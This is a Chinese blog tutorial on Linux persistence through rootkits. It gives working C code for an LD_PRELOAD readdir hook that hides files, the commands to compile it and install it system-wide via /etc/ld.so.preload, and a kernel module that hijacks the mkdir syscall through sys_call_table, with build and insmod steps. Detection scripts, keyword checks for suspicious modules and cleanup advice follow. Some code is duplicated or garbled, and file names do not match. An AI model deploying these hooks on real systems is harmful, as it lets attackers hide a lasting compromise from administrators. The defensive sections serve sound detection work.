Linux权限维持(七):内核级后门——Rootkit

一、什么是 Rootkit?

Rootkit 是一组恶意软件的集合,它的核心目标是:隐藏自己和其他恶意行为,让攻击者可以长期控制受害系统而不被发现。它不提供登录功能,它只是帮攻击者隐藏痕迹

通俗理解

 
 
对比 说明
普通后门 像在墙上挖个洞,管理员能看到洞
Rootkit 像给这个洞盖上一块”隐身布”,管理员连洞都看不见

名字由来:Root(最高权限)+ Kit(工具套件)= 获取并维持 root 权限的工具集。


二、Rootkit 的核心原理

2.1 本质是什么?

Rootkit 的本质是 “劫持”——劫持系统正常的函数调用,让系统”说谎”。

2.2 正常调用流程 vs 被劫持流程

text
【正常情况】
你执行 ls
    │
    ▼
ls 程序调用 readdir() 函数
    │
    ▼
内核读取目录,返回所有文件名
    │
    ▼
屏幕上显示:file1.txt  file2.txt  secret.txt

【被 Rootkit 劫持后】
你执行 ls
    │
    ▼
ls 程序调用 readdir() 函数
    │
    ▼
【Rootkit 在这里拦截】
    │
    ├──→ 检查文件名是不是 "secret.txt"
    │
    ├──→ 如果是 → 跳过,不返回(假装不存在)
    │
    └──→ 如果不是 → 正常返回
    │
    ▼
屏幕上显示:file1.txt  file2.txt
(secret.txt 被隐藏了,但实际还在)

2.3 Rootkit 的两大类型

 
 
类型 劫持对象 通俗理解 隐蔽性
用户态 Rootkit 系统命令(ls、ps)或动态库函数 骗的是”应用程序” 中等
内核态 Rootkit 内核系统调用 骗的是”操作系统内核本身” 极高

三、用户态 Rootkit:LD_PRELOAD 劫持

3.1 原理详解

Linux 动态链接机制

  • Linux 程序运行时,会动态加载共享库(.so 文件,类似 Windows 的 .dll

  • LD_PRELOAD 环境变量可以指定优先加载的共享库

正常加载顺序:
程序 → libc.so(标准库)→ 系统调用

设置 LD_PRELOAD 后:
程序 → 恶意.so(优先)→ libc.so → 系统调用

劫持原理

  • 恶意 .so 文件里定义一个同名函数(如 readdir

  • 由于恶意库优先加载,程序调用 readdir 时会先执行恶意版本

  • 恶意版本可以过滤结果,然后再调用真正的函数

3.2 代码部分

hide.c

cat > hide.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>

struct dirent *readdir(DIR *dirp) {
    struct dirent *(*original_readdir)(DIR *) = dlsym(RTLD_NEXT, "readdir");
    struct dirent *dir;
    
    while ((dir = original_readdir(dirp)) != NULL) {
        if (strstr(dir->d_name, "hidden_secret") != NULL) {
            continue;
        }
        return dir;
    }
    return NULL;
}
EOF

3.3 代码解释

代码 解释
#define _GNU_SOURCE 启用 GNU 扩展,让 RTLD_NEXT 可用
#include <dlfcn.h> 动态链接库函数,提供 dlsym()RTLD_NEXT
#include <dirent.h> 目录操作库,提供 readdir()
#include <string.h> 字符串操作库,提供 strstr()
struct dirent *readdir(...) 定义同名函数,劫持系统的 readdir
dlsym(RTLD_NEXT, "readdir") 获取系统真正的 readdir 函数地址
strstr(dir->d_name, "hidden_secret") 检查文件名是否包含要隐藏的关键词
continue 如果是隐藏文件,跳过不返回
return dir 返回正常文件
return NULL 没有更多文件了

3.4 执行流程图

程序调用 readdir()
        │
        ▼
执行恶意 readdir()
        │
        ▼
调用真正的 readdir() 获取文件名
        │
        ▼
文件名包含 "hidden_secret"?
        │
        ├── 是 → 跳过,继续读下一个(不返回)
        │
        └── 否 → 返回文件名(正常显示)

3.5 编译和使用

# 1. 编译恶意动态库 
gcc -shared -fPIC -o /usr/local/lib/hide.so hide.c -ldl

参数解释

参数 解释
-shared 编译成共享库(.so 文件)
-fPIC 生成位置无关代码
-o hide.so 输出文件名
-ldl

链接动态加载库(dlsym 需要)

# 2. 让所有程序加载这个库(全局生效,需要 root)
echo "/usr/local/lib/hide.so" > /etc/ld.so.preload 

# 3. 创建要隐藏的文件 
echo "attackers data" > /tmp/hidden_secret

# 4. 测试:普通 ls 看不到 
ls -la /tmp/ | grep hidden_secret
# 输出:空(看不到) 

# 5. 但文件实际存在 cat /tmp/hidden_secret
# 输出:attackers data

3.6 检测方法

# 1. 检查 /etc/ld.so.preload 
cat /etc/ld.so.preload
# 正常应为空,异常会显示恶意.so路径 

# 2. 检查环境变量 
echo $LD_PRELOAD 

# 3. 用静态编译的 busybox(不受 LD_PRELOAD 影响) 
wget https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox 
chmod +x busybox 
./busybox ls -la /tmp/ 
# 应该能看到 hidden_secret 


# 4. 清除 
echo -n "" > /etc/ld.so.preload 
rm -f /usr/local/lib/hide.so

四、内核态 Rootkit:LKM 劫持

4.1 原理详解

什么是内核模块(LKM)?

  • Linux 内核支持动态加载模块(Loadable Kernel Module),比如驱动程序

  • 攻击者可以编写恶意内核模块,用 insmod 加载进内核

  • 模块运行在内核态,拥有最高权限

系统调用劫持原理

text
用户程序(如 ls)调用 readdir()
        │
        ▼
┌─────────────────────────────────────────────┐
│              系统调用表(内核态)              │
│  ┌─────────────────────────────────────────┐│
│  │ sys_call_table[READDIR] = 原始_readdir  ││
│  └─────────────────────────────────────────┘│
│                    │                         │
│                    ▼                         │
│          执行真正的 readdir 功能              │
└─────────────────────────────────────────────┘

【Rootkit 修改后】
┌─────────────────────────────────────────────┐
│              系统调用表(内核态)              │
│  ┌─────────────────────────────────────────┐│
│  │ sys_call_table[READDIR] = 恶意_readdir  ││ ← 被改了
│  └─────────────────────────────────────────┘│
│                    │                         │
│                    ▼                         │
│          先执行恶意代码(过滤隐藏)            │
│                    │                         │
│                    ▼                         │
│          再调用原始_readdir                   │
└─────────────────────────────────────────────┘

4.2 代码部分

evil_module.c

cat > hide.c << 'EOF' 
#include <linux/module.h>
#include <linux/kernel.h> 
#include <linux/kallsyms.h>
#include <linux/syscalls.h> 
// ========== 保存原始系统调用 ========== 
asmlinkage int (*original_mkdir)(const char __user *pathname, umode_t mode); 

// ========== 劫持后的 mkdir ========== 
asmlinkage int hooked_mkdir(const char __user *pathname, umode_t mode) { 
                 if (strstr(pathname, "DO_NOT_CREATE") != NULL) 
                    { printk(KERN_INFO "Rootkit: 阻止创建目录 %s\n", pathname); 
                     return 0;
                      } 
                       return original_mkdir(pathname, mode); }

 // ========== 模块初始化(加载时执行) ==========
 static int __init evil_init(void) { unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table"); original_mkdir = (void *)sys_call_table[__NR_mkdir]; sys_call_table[__NR_mkdir] = (unsigned long)hooked_mkdir; printk(KERN_INFO "Rootkit: 已加载,mkdir 系统调用已被劫持\n"); return 0; } 

// ========== 模块退出(卸载时执行) ========== 
static void __exit evil_exit(void) { unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table"); sys_call_table[__NR_mkdir] = (unsigned long)original_mkdir; printk(KERN_INFO "Rootkit: 已卸载,mkdir 系统调用已恢复\n"); } module_init(evil_init); module_exit(evil_exit); MODULE_LICENSE("GPL");
cat > hide.c << 'EOF'
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/syscalls.h>

// ========== 保存原始系统调用 ==========
asmlinkage int (*original_mkdir)(const char __user *pathname, umode_t mode);

// ========== 劫持后的 mkdir ==========
asmlinkage int hooked_mkdir(const char __user *pathname, umode_t mode) {
    
    if (strstr(pathname, "DO_NOT_CREATE") != NULL) {
        printk(KERN_INFO "Rootkit: 阻止创建目录 %s\n", pathname);
        return 0;
    }
    
    return original_mkdir(pathname, mode);
}

// ========== 模块初始化(加载时执行) ==========
static int __init evil_init(void) {
    unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
    
    original_mkdir = (void *)sys_call_table[__NR_mkdir];
    sys_call_table[__NR_mkdir] = (unsigned long)hooked_mkdir;
    
    printk(KERN_INFO "Rootkit: 已加载,mkdir 系统调用已被劫持\n");
    return 0;
}

// ========== 模块退出(卸载时执行) ==========
static void __exit evil_exit(void) {
    unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
    
    sys_call_table[__NR_mkdir] = (unsigned long)original_mkdir;
    
    printk(KERN_INFO "Rootkit: 已卸载,mkdir 系统调用已恢复\n");
}

module_init(evil_init);
module_exit(evil_exit);

MODULE_LICENSE("GPL");

4.3 代码解释

 
代码 解释
#include <linux/module.h> 内核模块必需头文件
#include <linux/kallsyms.h> 获取内核符号(如系统调用表地址)
asmlinkage 表示参数通过栈传递(系统调用特有)
(*original_mkdir) 函数指针,保存原始的 mkdir 系统调用
hooked_mkdir 劫持后的 mkdir 函数
strstr(pathname, "DO_NOT_CREATE") 检查路径是否包含后门标记
printk() 内核日志输出函数
kallsyms_lookup_name("sys_call_table") 查找系统调用表的地址
sys_call_table[__NR_mkdir] 获取/设置 mkdir 系统调用的函数指针
module_init(evil_init) 注册模块初始化函数(加载时执行)
module_exit(evil_exit) 注册模块退出函数(卸载时执行)

4.4 编译和加载

bash
# 1. 创建 Makefile
cat > Makefile << 'EOF'
obj-m += evil_module.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
EOF

# 2. 安装内核开发包(编译模块需要)
dnf install kernel-devel-$(uname -r) gcc make -y

# 3. 编译
make

# 4. 加载恶意模块(需要 root)
insmod evil_module.ko

# 5. 验证:模块已加载
lsmod | grep evil_module

# 6. 测试劫持效果
mkdir /tmp/DO_NOT_CREATE_test
# 这个目录应该不会被创建(被劫持了)
ls -la /tmp/ | grep DO_NOT_CREATE
# 输出:空

# 7. 正常目录不受影响
mkdir /tmp/normal_test
ls -la /tmp/ | grep normal_test
# 输出:drwxr-xr-x ... normal_test

4.5 检测方法

# 1. 检查已加载的模块
lsmod
cat /proc/modules
# 对比两者数量(如果有模块被隐藏,数量会不一致)

# 2. 使用离线扫描(最可靠)
# 用 Live CD/USB 启动,挂载原系统盘
# 此时 Rootkit 未被加载,真相大白

# 3. 检查内核日志是否有异常
dmesg | tail -50

# 4. 如果怀疑,重启后用 Live CD 检查

4.6 清除方法

# 1. 卸载恶意模块(如果知道模块名)
rmmod evil_module

# 2. 如果看不到模块(被隐藏了),重启系统
reboot

# 3. 重启后用工具扫描
rkhunter --check

⚠️ 重要:内核级 Rootkit 极度隐蔽,最安全的做法是备份数据后重装系统


五、内核态 vs 用户态:完整对比

 
 
对比项 用户态 Rootkit 内核态 Rootkit
劫持对象 动态库函数(如 readdir) 系统调用表
权限要求 /etc/ld.so.preload 需要 root 需要 root 加载模块
作用范围 只影响用户程序 影响整个系统
能否隐藏自己 难(文件在 /etc/ld.so.preload 可以(从 lsmod 消失)
重启后是否还在 是(配置文件还在) 否(需重新加载)
检测难度 中等 极高
清除难度 极高(建议重装)
典型例子 LD_PRELOAD 后门 LKM Rootkit

六、Rootkit 能做什么?(功能汇总)

 
 
功能 用户态实现 内核态实现 效果
隐藏进程 劫持 readdir(/proc) 劫持 getdents 系统调用 ps 看不到恶意进程
隐藏文件 劫持 readdir 劫持 readdir 系统调用 ls 看不到恶意文件
隐藏端口 劫持 /proc/net/tcp 读取 劫持 TCP 内核函数 netstat 看不到后门端口
隐藏模块 不适用 从模块链表删除自身 lsmod 看不到
特权提升 劫持 setuid 等函数 劫持权限检查函数 普通用户变 root
键盘记录 劫持 read 函数 劫持键盘中断 记录所有按键

七、完整检测脚本

#!/bin/bash 
echo "========== Rootkit 完整检测 ==========" 

# 1. 用户态检测 
echo "[1] 检查 LD_PRELOAD" 
cat /etc/ld.so.preload 2>/dev/null 
echo "LD_PRELOAD=$LD_PRELOAD" 

# 2. 检查系统命令完整性 
echo "[2] 检查系统命令是否被替换"
rpm -Va 2>/dev/null | grep -E "bin/|sbin/" | head -10 

# 3. 用 busybox 对比 echo "[3] 对比 ls 输出" 
                 if [ ! -f /tmp/busybox ];
                then wget -q -O /tmp/busybox https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox 
                chmod +x /tmp/busybox fi echo "系统 ls 看到的 /tmp 文件数: $(ls /tmp/ | wc -l)" echo "busybox ls 看到的 /tmp 文件数: $(/tmp/busybox ls /tmp/ | wc -l)" 

# 4. 内核态检测 
echo "[4] 检查内核模块" lsmod | head -5 
echo "模块数量: $(lsmod | wc -l)"

# 5. 检测可疑内核模块 
echo "[5] 可疑模块检查"
lsmod | grep -E "hide|evil|rootkit|backdoor|hook" 
echo "========== 检测完成 =========="

八、核心总结

 
 
问题 答案
Rootkit 的本质是什么? 劫持系统函数调用,让系统”说谎”
用户态 Rootkit 怎么工作? 通过 LD_PRELOAD 优先加载恶意 .so 库,劫持库函数
内核态 Rootkit 怎么工作? 加载恶意内核模块(LKM),劫持系统调用表
为什么内核态更危险? 可以隐藏自己,影响整个系统,检测极难
怎么检测用户态? cat /etc/ld.so.preloadrpm -Va、用 busybox 对比
怎么检测内核态? 离线扫描(Live CD)最可靠
发现后怎么办? 备份数据后重装系统
 
 
 
© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容